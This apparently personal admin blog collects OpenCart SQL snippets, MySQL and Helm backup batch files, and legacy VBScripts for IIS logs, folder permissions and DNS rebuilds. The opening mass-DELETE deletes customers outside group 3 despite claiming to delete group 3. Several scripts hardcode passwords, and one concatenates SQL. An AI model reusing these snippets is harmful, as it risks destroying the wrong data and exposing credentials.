Wednesday, 30 September 2015

Opencart - SQL to Delete customers of a specifi Users Group and move all the customers to the 1st users group


In this example we delete all the customers of the group with ID 3 and move all the other customers to the first group



DELETE FROM oc_customer_activity WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);

DELETE FROM oc_customer_history WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);

DELETE FROM oc_customer_ip WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);

DELETE FROM oc_customer_online WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);

DELETE FROM oc_customer_reward WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);

DELETE FROM oc_customer_transaction WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);


DELETE FROM oc_address WHERE customer_id IN (
 SELECT oc_customer.customer_id  FROM `oc_customer` where customer_group_id != 3
);

DELETE FROM oc_customer WHERE customer_group_id != 3;



/*moving all the users to the 1st customer_group_id 1 */
UPDATE `oc_customer` SET `customer_group_id` = '1'

Opencart - mass update price by percentage, change class id and so on. Simple Sql queries

Opencart disable products with price zero


Sometimes there are products with price zero, or other specific column/value, that need to be disabled.


It's quite easy to update all your products with this sql UPDATE.


    update oc_product set status = 0 where price = 0.0000;


Mass Update the prices of the products in opencart


lowering the price with -22% - For example when you've imported prices including taxes and you want to add a tax class

    update oc_product set price = (price / 1.22);


rising the price with +22% (ex. iva italiana)

    update oc_product set price = (price * 1.22);



Mass Update the tax class of the products in opencart


    update oc_product set tax_class_id = 1;

if you want to remove the class id from all the products

    update oc_product set tax_class_id = 0;

opencart disable products with price zero

Sometimes there are products with price zero, or other specific column/value, that need to be disabled.

It's quite easy to update all your products with this sql UPDATE.

update oc_product set status = 0 where price = 0.0000;


Opencart cannot login in frontend and backend. No error message

Problem:
Opencart cannot login in frontend and backend.
No error messages are appearing when you login with the correct credentials.

Solution:
Clear the cache of VQMOD (if installed) in vqmod/vqcache/
Fix the permission in the vqmod folder (set to writeable).

Tuesday, 29 September 2015

opencart - sql to update all the images with the model name



UPDATE oc_product SET oc_product.image = CONCAT('image/catalog/yourfolder/', LCASE(TRIM(oc_product.model)), '.jpg')


Change your folder accordingly and remember to use lower case chars for your file names otherwise remove LCASE.

Monday, 28 September 2015

mysql dump and save batch

mysql dump and save with a batch file. It's quite old but works.





SET bkdir=d:\manualbackup\data
SET SAVEDATA="%bkdir%\mysql.7z"
SET mysqldir=c:\mysql\bin
SET mysqluser=root
SET mysqlpassword=pass

REM 7-zip executable path
SET SEVENPATH="%PROGRAMFILES%\7-Zip\7z.exe"

REM zipped file to save data

SET ADDUP=a
IF EXIST %SAVEDATA% SET ADDUP=u

@REM Change to mysqldir
CD %mysqldir%

@REM dump database. This is all one line
"%mysqldir%\mysqldump.exe" -u %mysqluser% -p%mysqlpassword% --opt --all-databases >"%bkdir%\backup.sql"



%SEVENPATH% %ADDUP% -ms=off -pfuxedboost -t7z  %SAVEDATA% "%bkdir%\backup.sql"

del "%bkdir%\backup.sql"

IIS Log cleaner (old) method to clean all the IIS logs

IIS Log cleaner






'Determine the number of days for which you want to keep logs
logDelDays = 30

'Main driver
purgeIISLogs("W3SVC")
purgeIISLogs("MSFTPSVC")

'Purge IIS logs
Sub purgeIISlogs(strService)
    delCount   = 0
    Set fso    = CreateObject("Scripting.FileSystemObject")
    Set objIIS = GetObject("IIS://" & getComputer() & "/" & strService)
    For Each objweb in objIIS
        If lCase(objweb.Class) = "iiswebserver" _
        Or lCase(objweb.Class) = "iisftpserver" Then
            fLogDirPath = objweb.LogFileDirectory & "\" & strService & objweb.name
            If fso.FolderExists(fLogDirPath) Then
                For Each fLog in fso.GetFolder(fLogDirPath).Files
                    If UCase(Left(fLog.Name,2)) = "EX" And UCase(Right(fLog.Name,4)) = ".LOG" Then
                        fileDate = cDate(Mid(fLog.name,7,2) & " " & monthname(cint(Mid(fLog.name,5,2)),true) & " " & Mid(fLog.name,3,2))
                        If fileDate < DateAdd("d", now(), -logDelDays) Then
                            delCount = delCount + 1
                            fLog.Delete
                        End If
                    End If
                Next
                Wscript.Echo "Purged " & delCount & " logs for " & objweb.ServerComment
            End If
        End If
    Next
    Set objIIS = nothing
    Set fso    = nothing
End Sub

'Get computer name
Function getComputer()
    Set objNet = WScript.CreateObject("WScript.Network")
    getComputer= objNet.ComputerName
    Set objNet = Nothing
End Function

Simple script to backup the helm db.

Simple script to backup the helm db. It's quite old and I used it a long time ago.





@echo off


SET bkdir=d:\manualbackup\data
SET SAVEDATA="%bkdir%\helmdb.7z"
SET mysqldir=c:\mysql\bin
SET mysqlpassword=pass
REM 7-zip executable path
SET SEVENPATH="%PROGRAMFILES%\7-Zip\7z.exe"
SET zippass=pass

REM zipped file to save data

SET ADDUP=a
IF EXIST %SAVEDATA% SET ADDUP=u

@REM Change to mysqldir
CD %mysqldir%

@REM dump database. This is all one line
REM "%mysqldir%\mysqldump.exe" -u %mysqluser% -p%mysqlpassword% --opt --all-databases >"%bkdir%\backup.sql"

osql -E -S .\Helm -Q "BACKUP DATABASE helmdb TO DISK='%bkdir%\helmdb2.dat'"






if exist %bkdir%\helmdb2.dat goto exist
goto end
:exist
ren "%bkdir%\helmdb2.dat" helmdb.dat
%SEVENPATH% %ADDUP% -ms=off -p%zippass% -t7z  %SAVEDATA% "%bkdir%\helmdb.dat"
del "%bkdir%\helmdb.dat" "%bkdir%\helmdb2.dat"


:end

command line to scan with clamav clamwin and save the outpu to a log file

command line to scan with clamav clamwin and save the outpu to a log file


C:\clamav-devel\bin\clamscan --recursive --infected --stdout --log=log.wri c:\

How to restore permissions in the web folders - script restore permissions webfolders.vbs (old)



How to restore permissions in the web folders - script
restore permissions webfolders.vbs





'-------------------------------------------------------------
' Domains Folders Permissions Rebuild Script
' ============================================================
' Re-adds the permissions for the IIS anonymous users to the
' domains folders
' ------------------------------------------------------------
' Copyright © 2004 Andrew Taylor
' ------------------------------------------------------------
' Usage: Save this script as a .vbs file and run:
'        cscript.exe "c:\PermissionsRebuild.vbs"
' ------------------------------------------------------------
' Enquiries to andy@4dhosting.com
' I disclaim all responsibility for results of this script
' which is run at your own risk
'-------------------------------------------------------------

'-------------------------------------------------------------
' Configuration variables
'-------------------------------------------------------------

Const strDBServer = "localhost"
Const strDBName = "HelmDb"
Const strDBUser = "sa"
Const strDBPassword = "password"

Const strDomains = "c:\domains\"

Const strLogFile = "c:\PermissionsRebuild.log"

Const strAppPath = "c:\SetACL\SetACL.exe"

'-------------------------------------------------------------
' Do not edit below here
'-------------------------------------------------------------

ERR_NTFS_USER_LOOK_UP_FAILED = 1
ERR_NTFS_CANT_SET_SECURITY_DESCRIPTOR = 2
ERR_CMD_EXECUTION_FAILED = 3

GENERIC_DELETE = &H10000
ADS_RIGHT_READ_CONTROL = &H20000
ADS_RIGHT_WRITE_DAC = &H40000
ADS_RIGHT_WRITE_OWNER = &H80000
ADS_RIGHT_SYNCHRONIZE = &H100000
ADS_RIGHT_ACCESS_SYSTEM_SECURITY = &H1000000
GENERIC_READ = &H80000000
GENERIC_WRITE = &H40000000
GENERIC_EXECUTE = &H20000000
GENERIC_ALL = &H10000000
ADS_RIGHT_DS_CREATE_CHILD = &H1
ADS_RIGHT_DS_DELETE_CHILD = &H2
ADS_RIGHT_ACTRL_DS_LIST = &H4
ADS_RIGHT_DS_SELF = &H8
ADS_RIGHT_DS_READ_PROP = &H10
ADS_RIGHT_DS_WRITE_PROP = &H20
ADS_RIGHT_DS_DELETE_TREE = &H40
ADS_RIGHT_DS_LIST_OBJECT = &H80
ADS_RIGHT_DS_CONTROL_ACCESS = &H100

COMMON_ADD = &H1201B6
COMMON_ADD_READ = &H1201BF
COMMON_READ = &H1200A9
COMMON_CHANGE = &H1301BF
COMMON_FULL_CONTROL = GENERIC_ALL
COMMON_ALL = &H1F01FF

NO_INHERITANCE = &H0
ALL_INHERIT_ACE = &H3

OBJECT_INHERIT_ACE = &H1
CONTAINER_INHERIT_ACE = &H2
NO_PROPAGATE_INHERIT_ACE = &H4
INHERIT_ONLY_ACE = &H8
INHERITED_ACE = &H10
VALID_INHERIT_FLAGS = &H1F

SET_ACCESS = 1
SET_DENY = 0

' setup connection to the database
Set db = CreateObject("ADODB.Connection")
strConn = "Provider=SQLOLEDB;Server=" & strDBServer & ";Database=" & strDBName & ";user ID=" & strDBUser & ";password=" & strDBPassword & ";"
db.Open strConn

' setup log file
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oFile = oFSO.CreateTextFile(strLogFile, true)

Set oFolder = oFSO.GetFolder(strDomains)

' go through each object in IIS
For Each oSubFolder in oFolder.SubFolders

   ' get domain and current anon user details
   strDomain = oSubFolder.Name

   ' log these details
   LogEvent "[+] Web Site: " & strDomain

   strNewUsername = GetAnonUser(strDomain)
   strNewPassword = GetAnonPassword(strDomain)

   ' if both username and password are present
   If strNewUsername <> "" And strNewPassword <> "" Then

      ' log these details
      LogEvent "  [-] Username: " & strNewUsername
      LogEvent "  [-] Password: " & strNewPassword

      ' if the anon user does not exist, create it
      If Not DoesUserExist(strNewUsername) Then
         LogEvent "  [-] Creating user"
         CreateUser strNewUsername, strNewPassword
      Else
         LogEvent "  [-] Resetting user password"
         SetPassword strNewUsername, strNewPassword
      End If

      LogEvent "  [-] Setting anonymous user details"
     
      strResult = SetFolderPermissions(SET_ACCESS, strServerName, strNewUsername, oSubFolder.Path, COMMON_CHANGE, ALL_INHERIT_ACE)
  
      If strResult <> "" Then

         ' log error
         LogEvent "  [!] Error updating permissions"

      Else

         ' log completion
         LogEvent "  [=] Details updated"

      End If

   Else

      LogEvent "  [=] Non-Helm site"

   End If

Next


' clear objects
Set oFolder = Nothing
Set rsDomains = Nothing

' close database
db.Close
Set db = Nothing

' get computer name
Function GetComputer()

   Set objNet = WScript.CreateObject("WScript.Network")
   GetComputer = objNet.ComputerName
   Set objNet = Nothing

End Function

' create new user with correct parameters
Sub CreateUser(strUserName, strPassword)

   strGroupName = "HELMWEBUSERS"

   On Error Resume Next

   Set oDomain = GetObject("WinNT://" & GetComputer())
   Set oUser = oDomain.Create("user", strUserName)
   oUser.SetPassword strPassword
   oUser.FullName = strUserName
   oUser.SetInfo

   strFlags = oUser.Get("UserFlags")

   oUser.Put "UserFlags", strFlags OR &H00040
   oUser.Put "UserFlags", strFlags OR &H10000

   oUser.SetInfo

   Set oGroup = oDomain.GetObject("Group", strGroupName)
   oGroup.Add "WinNT://" & GetComputer() & "/" & strUserName
   Set oGroup=Nothing

   If Err.Number = 0 Then
      CreateUser = True
   Else
      CreateUser = False
   End If

   Set oUser = Nothing
   Set oDomain = Nothing

   Err.Clear

End Sub

' determine if the user already exists
Function DoesUserExist(strUserName)

   On Error Resume Next

   Set oUser = GetObject("WinNT://" & GetComputer() & "/" & strUserName)

   If Err.Number = 0 Then
      DoesUserExist = True
   Else
      DoesUserExist = False
   End If

   Err.Clear

End Function

' resets the user's password
Function SetPassword(strUserName, strPassword)

   Set oUser = GetObject("WinNT://" & GetComputer() & "/" & strUserName)
   oUser.SetPassword strPassword
   oUser.SetInfo

   If Err.Number = 0 Then
      SetPassword = True
   Else
      SetPassword = False
   End If

   Err.Clear

End Function

' log events to screen and file
Sub LogEvent(strLog)

   oFile.WriteLine strLog
   WScript.Echo strLog

End Sub

' gets the domains anon username
Function GetAnonUser(strDomain)

   intDomainId = GetDomainId(strDomain)

   Set rsUsername = CreateObject("ADODB.Recordset")
   strSQL = "SELECT HostDomainProperty.PropertyValue FROM HostDomainProperty INNER JOIN HostDomain ON HostDomain.DomainId = HostDomainProperty.DomainId WHERE HostDomainProperty.PropertyName = 'AnonUser' AND HostDomain.DomainId=" & intDomainId & ";"
   rsUsername.Open strSQL, db

   If Not rsUsername.EOF Then
      GetAnonUser = rsUsername("PropertyValue")
   Else
      GetAnonUser = ""
   End If

   rsUsername.Close
   Set rsUsername = Nothing

End Function

' gets the domains anon password
Function GetAnonPassword(strDomain)

   intDomainId = GetDomainId(strDomain)

   Set rsPassword = CreateObject("ADODB.Recordset")
   strSQL = "SELECT HostDomainProperty.PropertyValue FROM HostDomainProperty INNER JOIN HostDomain ON HostDomain.DomainId = HostDomainProperty.DomainId WHERE HostDomainProperty.PropertyName = 'AnonPassword' AND HostDomain.DomainId=" & intDomainId & ";"
   rsPassword.Open strSQL, db

   If Not rsPassword.EOF Then
      GetAnonPassword = rsPassword("PropertyValue")
   Else
      GetAnonPassword = ""
   End If

   rsPassword.Close
   Set rsPassword = Nothing

End Function

' gets the domain ID from the name
Function GetDomainId(strDomain)

   Set rsDomain = CreateObject("ADODB.Recordset")
   strSQL = "SELECT * FROM HostDomain WHERE DomainName='" & strDomain & "';"
   'LogEvent strSQL
   rsDomain.Open strSQL, db

   If Not rsDomain.EOF Then
      intDomainId = CLng(rsDomain("DomainId"))
   Else

      intPtr = InStr(strDomain, ".")

      If intPtr > 0 Then
         strDomain = Mid(strDomain, intPtr + 1)
         intDomainId = GetDomainId(strDomain)
      Else
         intDomainId = 0
      End If

   End If

   rsDomain.Close
   Set rsDomain = Nothing

   GetDomainId = intDomainId

End Function

Function SetFolderPermissions(strAccessType, strTrusteeDomain, strTrusteeUsername, strFileName, strFileMask, strFileInheritance)
  
    On Error Resume Next
  
    Dim strCMD
    Dim cmdErrorCode
  
    If Right(strFileName, 1) = "\" Then strFileName = Left(strFileName, Len(strFileName) - 1)
  
    strCMD = """" & strAppPath & """ -on """ & strFileName & """ -ot file -actn ace -ace """
  
    strCMD = strCMD & "n:" & strTrusteeDomain & "\" & strTrusteeUsername
  
    Select Case strFileMask
        Case COMMON_ADD, COMMON_ADD_READ
            strCMD = strCMD & ";p:add_file"
        Case COMMON_READ, GENERIC_READ
            strCMD = strCMD & ";p:read"
        Case COMMON_CHANGE
            strCMD = strCMD & ";p:change"
        Case COMMON_FULL_CONTROL, COMMON_ALL, GENERIC_ALL
            strCMD = strCMD & ";p:full"
        Case GENERIC_DELETE
            strCMD = strCMD & ";p:delete"
        Case ADS_RIGHT_READ_CONTROL
            strCMD = strCMD & ";p:read_dacl"
        Case ADS_RIGHT_WRITE_DAC
            strCMD = strCMD & ";p:write_dacl"
        Case ADS_RIGHT_WRITE_OWNER
            strCMD = strCMD & ";p:write_owner"
        Case GENERIC_WRITE
            strCMD = strCMD & ";p:write"
        Case GENERIC_EXECUTE
            strCMD = strCMD & ";p:read_ex"
        Case Else
            strCMD = strCMD & ";p:change"
    End Select
  
    Select Case strFileInheritance
        Case NO_INHERITANCE
            strCMD = strCMD & ";i:np"
        Case ALL_INHERIT_ACE
            strCMD = strCMD
        Case OBJECT_INHERIT_ACE
            strCMD = strCMD & ";i:so"
        Case CONTAINER_INHERIT_ACE
            strCMD = strCMD & ";i:sc"
        Case NO_PROPAGATE_INHERIT_ACE
            strCMD = strCMD & ";i:np"
        Case INHERIT_ONLY_ACE
            strCMD = strCMD & ";i:io"
        Case INHERITED_ACE
            strCMD = strCMD & ";i:io"
    End Select
  
    Select Case strAccessType
        Case SET_ACCESS
            strCMD = strCMD & ";m:set"
        Case SET_DENY
            strCMD = strCMD & ";m:deny"
    End Select
  
    strCMD = strCMD & ";w:dacl"" -silent"

    cmdErrorCode = ExecCmd(strCMD)

    If cmdErrorCode <> 0 Then Err.Raise ERR_NTFS_USER_LOOK_UP_FAILED
    If Len(cmdOutput) > 0 Then Err.Raise ERR_NTFS_CANT_SET_SECURITY_DESCRIPTOR

   If Err.Number <> 0 Then

      Select Case Err.Number
         Case ERR_NTFS_USER_LOOK_UP_FAILED
            SetFolderPermissions = "Could not set permissions for " & strTrusteeUsername
         Case ERR_NTFS_CANT_SET_SECURITY_DESCRIPTOR
            SetFolderPermissions = "Could not set permissions on " & strFileName
      End Select

      Err.Clear

   End If

End Function

Function ExecCmd(strCMD)

   On Error Resume Next

   Set objWshShell = WScript.CreateObject("WScript.Shell")
   Set objFSO = CreateObject("Scripting.FileSystemObject")

   strTempFile = objFSO.GetTempName
   strPath = objFSO.GetSpecialFolder(TemporaryFolder)
   strTempFile = strPath & "\" & strTempFile

   ExecCmd = objWshShell.Run(strCMD, 0, True)
  
   cmdOutput = objFSO.OpenTextFile(strTempFile).ReadAll
   objFSO.DeleteFile strTempFile

   Err.Clear

End Function

Batch file to easily optimize the mysql database

Batch file to easily optimize the mysql database


SET mysqldir=c:\mysql\bin
SET mysqluser=root
SET mysqlpassword=mypass


@REM Change to mysqldir
CD %mysqldir%

@REM dump database. This is all one line
"%mysqldir%\mysqlcheck" -u %mysqluser% -p%mysqlpassword% --repair --analyze --optimize --all-databases --auto-repair"

old vb script to restore dns on windows server - Do not use on new windows servers


old vb script to restore dns on windows server - Do not use on new windows servers.

 restoredns.vbs





'-------------------------------------------------------------
' Global DNS Rebuild Script
' ~~~~~~~~~~~~~~~~~~~~~~~~~
' Rebuilds your entire DNS structure for all domains in Helm.
' Usefull for when moving servers, changing IPs, or for fixing
' messed up DNS records.
'
' It would be best to delete your DNS zones on your DNS server
' before running, to ensure new DNS zones are brand new!
'
' This script works with multi-server setups, run it on the
' control server!
'
' If you are using the script to change servers, or update IPs
' update all your system settings in the Helm Control Panel,
' then run this script.'
' This also rebuilds global records that ADMIN and RESELLERS
' have added. It gets the entrys the domain's reseller has
' added, then gets the entrys the ADMIN has added.
'
' UPDATED 10/11/2004: Now works with TXT records and dynamic
'                     [DomainName] variables.
' ------------------------------------------------------------
' © Copyright 2004 Warren Ashcroft (HelmPlus)
' All Rights Reserved
' This script must not be distributed without permission
' ------------------------------------------------------------
' Usage: Save this script as a VBS file and run like this:
'        cscript.exe "c:\path\to\file.vbs"
' ------------------------------------------------------------
' For support email support@helmPlus
' Results of this are not my responsibility
'-------------------------------------------------------------

'-------------------------------------------------------------
' Configuration variables
'-------------------------------------------------------------
' Your ADMIN password for Helm
Dim AdminPass
AdminPass = "RR35RUJR"


'-------------------------------------------------------------
' DO NOT edit below here
'-------------------------------------------------------------
Dim oDomain, oDNS, oFTP, oEmail, oWebsite, oDomainAlias, oGlobalDNSRecord, oService, oServiceSet
Dim rsDomain, rsDomainAlias, rsGlobalDNS, rsGlobalDNSAdmin, rsDNS, rsService, rsServiceSet
Dim iCount, DomainID, DomainName, ResellerAccountNumber, ActionResult
Dim DNSRecordID, DomainAliasID, AliasName

Const DNS_A = 3      ' DNS_A
Const DNS_MX = 4     ' DNS_MX
Const DNS_CNAME = 5  ' DNS_CNAME
Const DNS_TXT = 6    ' DNS_TXT

Set oDomain = CreateObject("HELM.CDomain")
Set oDNS = CreateObject("HELM.CDNS")
Set oFTP = CreateObject("HELM.CFTP")
Set oEmail = CreateObject("HELM.CEmail")
Set oWebsite = CreateObject("HELM.CWebsite")
Set oService = CreateObject("HELM.CService")
Set oServiceSet = CreateObject("HELM.CServiceSet")
Set oDomainAlias = CreateObject("HELM.CDomainAlias")
Set oGlobalDNSRecord = CreateObject("HELM.CGlobalDNSRecord")

On Error Resume Next

WScript.Echo "Global DNS Rebuild Script"
WScript.Echo "© Copyright 2004 Warren Ashcroft (HelmPlus)"
WScript.Echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
WScript.Echo ""

Set rsDomain = oDomain.SearchEx()

If Not rsDomain.EOF Then rsDomain.MoveFirst
Do While Not rsDomain.EOF
   ' Set some standard data variables
   iCount = iCount + 1
   DomainID = rsDomain("DomainID")
   DomainName = rsDomain("DomainName")
   ResellerAccountNumber = rsDomain("ResellerAccountNumber")

   ' Setup the various recordsets
   Set rsGlobalDNS = oGlobalDNSRecord.SearchEx(, ResellerAccountNumber)
   Set rsGlobalDNSAdmin = oGlobalDNSRecord.SearchEx(, "ADMIN")
   Set rsDomainAlias = oDomainAlias.SearchEx(, DomainID)
   Set rsDNS = oDNS.SearchEx(, DomainID)
   Set rsServiceSet = oServiceSet.SearchEx(, , DomainID, , "2")
   Set rsService = oService.SearchEx(, rsServiceSet("ServiceSetId"))

   WScript.Echo "[!] Processing Domain: " & UCase(DomainName)

   WScript.Echo "  [-] Removing... Removing all DNS A records!"
   ActionResult = oDNS.RemoveARecordEx(DomainID)

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "  [-] Removing... Removing all DNS MX records!"
   ActionResult = oDNS.RemoveMXRecordEx(DomainID)

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "  [-] Removing... Removing all DNS CNAME records!"
   ActionResult = oDNS.RemoveCNAMERecordEx(DomainID)

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "  [-] Removing... Removing all DNS ID records from Helm!"
   If Not rsDNS.EOF Then rsDNS.MoveFirst
   Do While Not rsDNS.EOF
      DNSRecordID = rsDNS("DNSRecordID")
    
      If DNSRecordID <> "" Then
         WScript.Echo "    [-] Removing...  DNS ID: " & DNSRecordID & "!"
         ActionResult = oDNS.RemoveRecord("ADMIN", AdminPass, DNSRecordID)
         If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
         End If
      End If
      rsDNS.MoveNext
   Loop

   WScript.Echo "  [-] Removing... Removing the domain ZONE completely!"
   ActionResult = oDNS.RemoveDomainEx(DomainID)

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "  [+] Adding...   Readding the domain zone!"
   ActionResult = oDNS.CreateDomainEx(DomainID)

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "  [>] Adding...   Readding standard DNS records!"

   WScript.Echo "    [+] Adding...    DNS A Record: @!"
   ActionResult = oDNS.CreateARecordEx(DomainID, "@", oWebsite.GetWebSiteIPEx(DomainID))

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "    [+] Adding...    DNS A Record: *!"
   ActionResult = oDNS.CreateARecordEx(DomainID, "*", oWebsite.GetWebSiteIPEx(DomainID))

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "    [+] Adding...    DNS A Record: WWW!"
   ActionResult = oDNS.CreateARecordEx(DomainID, "www", oWebsite.GetWebSiteIPEx(DomainID))

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "    [+] Adding...    DNS A Record: FTP!"
   ActionResult = oDNS.CreateARecordEx(DomainID, "ftp", oFTP.GetFTPIPEx(DomainID))

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "    [+] Adding...    DNS A Record: MAIL!"
   ActionResult = oDNS.CreateARecordEx(DomainID, "mail", oEmail.GetMailIPEx(DomainID))

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "    [+] Adding...    DNS MX Record: MAIL! [" & rsService("ServicePriority") & "]"
   ActionResult = oDNS.CreateMXRecordEx(DomainID, "mail." & LCase(DomainName), rsService("ServicePriority"))

   If ActionResult <> "" Then
      WScript.Echo "  [E] " & ActionResult
      WScript.Echo ""
      ActionResult = ""
   End If

   WScript.Echo "  [>] Fixing...   Removing and adding existing domain alias's!"

   If Not rsDomainAlias.EOF Then rsDomainAlias.MoveFirst
   Do While Not rsDomainAlias.EOF
      DomainAliasID = rsDomainAlias("DomainAliasID")
      AliasName = rsDomainAlias("AliasName")
    
      If AliasName <> "" Then
         WScript.Echo "    [-] Removing...  Alias: " & UCase(AliasName) & "!"
         ActionResult = oDomainAlias.DeleteEx(DomainAliasID)
         If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
         End If

         WScript.Echo "    [+] Adding...    Alias: " & UCase(AliasName) & "! New ID: " & oDomainAlias.AddEx(DomainID, AliasName)
      End If
      rsDomainAlias.MoveNext
   Loop

   WScript.Echo "  [>] Adding...   Global DNS Records from reseller: " & ResellerAccountNumber & "!"

   If Not rsGlobalDNS.EOF Then rsGlobalDNS.MoveFirst
   Do While Not rsGlobalDNS.EOF
      Select Case rsGlobalDNS("RecordType")
         Case DNS_A
          WScript.Echo "    [+] Adding...    DNS A Record: " & UCase(rsGlobalDNS("RecordName")) & "!"
          ActionResult = oDNS.CreateARecordEx(DomainID, rsGlobalDNS("RecordName"), Replace(rsGlobalDNS("RecordData"), "[DomainName]", DomainName))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
       Case DNS_MX
          WScript.Echo "    [+] Adding...    DNS MX Record: " & UCase(rsGlobalDNS("RecordData")) & "!"
          ActionResult = oDNS.CreateMXRecordEx(DomainID, Replace(rsGlobalDNS("RecordData"), "[DomainName]", DomainName), rsGlobalDNS("RecordPreference"))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
       Case DNS_CNAME
          WScript.Echo "    [+] Adding...    DNS CNAME Record: " & UCase(rsGlobalDNS("RecordName")) & "!"
          ActionResult = oDNS.CreateCNAMERecordEx(DomainID, rsGlobalDNS("RecordName"), Replace(rsGlobalDNS("RecordData"), "[DomainName]", DomainName))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
       Case DNS_TXT
          WScript.Echo "    [+] Adding...    DNS TXT Record: " & UCase(rsGlobalDNS("RecordName")) & "!"
          ActionResult = oDNS.CreateTXTRecordEx(DomainID, rsGlobalDNS("RecordName"), Replace(rsGlobalDNS("RecordData"), "[DomainName]", DomainName))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
     End Select
      rsGlobalDNS.MoveNext
   Loop

   WScript.Echo "  [>] Adding...   Global DNS Records from the ADMIN account!"

   If Not rsGlobalDNSAdmin.EOF Then rsGlobalDNSAdmin.MoveFirst
   Do While Not rsGlobalDNSAdmin.EOF
      Select Case rsGlobalDNSAdmin("RecordType")
         Case DNS_A
          WScript.Echo "    [+] Adding...    DNS A Record: " & UCase(rsGlobalDNSAdmin("RecordName")) & "!"
          ActionResult = oDNS.CreateARecordEx(DomainID, rsGlobalDNSAdmin("RecordName"), Replace(rsGlobalDNSAdmin("RecordData"), "[DomainName]", DomainName))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
       Case DNS_MX
          WScript.Echo "    [+] Adding...    DNS MX Record: " & UCase(rsGlobalDNSAdmin("RecordData")) & "!"
          ActionResult = oDNS.CreateMXRecordEx(DomainID, Replace(rsGlobalDNSAdmin("RecordData"), "[DomainName]", DomainName), rsGlobalDNSAdmin("RecordPreference"))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
       Case DNS_CNAME
          WScript.Echo "    [+] Adding...    DNS CNAME Record: " & UCase(rsGlobalDNSAdmin("RecordName")) & "!"
          ActionResult = oDNS.CreateCNAMERecordEx(DomainID, rsGlobalDNSAdmin("RecordName"), Replace(rsGlobalDNSAdmin("RecordData"), "[DomainName]", DomainName))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
       Case DNS_TXT
          WScript.Echo "    [+] Adding...    DNS TXT Record: " & UCase(rsGlobalDNSAdmin("RecordName")) & "!"
          ActionResult = oDNS.CreateTXTRecordEx(DomainID, rsGlobalDNSAdmin("RecordName"), Replace(rsGlobalDNSAdmin("RecordData"), "[DomainName]", DomainName))
          If ActionResult <> "" Then
            WScript.Echo "    [E] " & ActionResult
            WScript.Echo ""
            ActionResult = ""
          End If
     End Select
      rsGlobalDNSAdmin.MoveNext
   Loop

   WScript.Echo ""
   rsDomain.MoveNext
Loop
WScript.Echo "Total Domains Processed: " & iCount

Set rsDomain = Nothing
Set rsGlobalDNS = Nothing
Set rsGlobalDNSAdmin = Nothing
Set rsDomainAlias = Nothing
Set rsDNS = Nothing
Set rsServiceSet = Nothing
Set rsService = Nothing

Set oDomain = Nothing
Set oDNS = Nothing
Set oFTP = Nothing
Set oEmail = Nothing
Set oWebsite = Nothing
Set oService = Nothing
Set oServiceSet = Nothing
Set oDomainAlias = Nothing
Set oGlobalDNSRecord = Nothing

Friday, 25 September 2015

How to insert an opencart category with SQL only

How to insert an opencart category with SQL only.




I've always set the default store (0).


SET @catname = 'MyCategory';

INSERT INTO `test`.`oc_category` (`category_id`, `image`, `parent_id`, `top`, `column`, `sort_order`, `status`, `date_added`, `date_modified`) VALUES (NULL, '', '0', '0', '1', '0', '1', '2015-09-02 00:00:00', '2015-09-02 00:00:00');
SET @lastinsert = LAST_INSERT_ID();


/*2 insert for  language id 1english and id 2 italian - in my case*/
INSERT INTO `test`.`oc_category_description` (`category_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES (@lastinsert, '1', @catname, @catname, @catname, @catname, @catname);
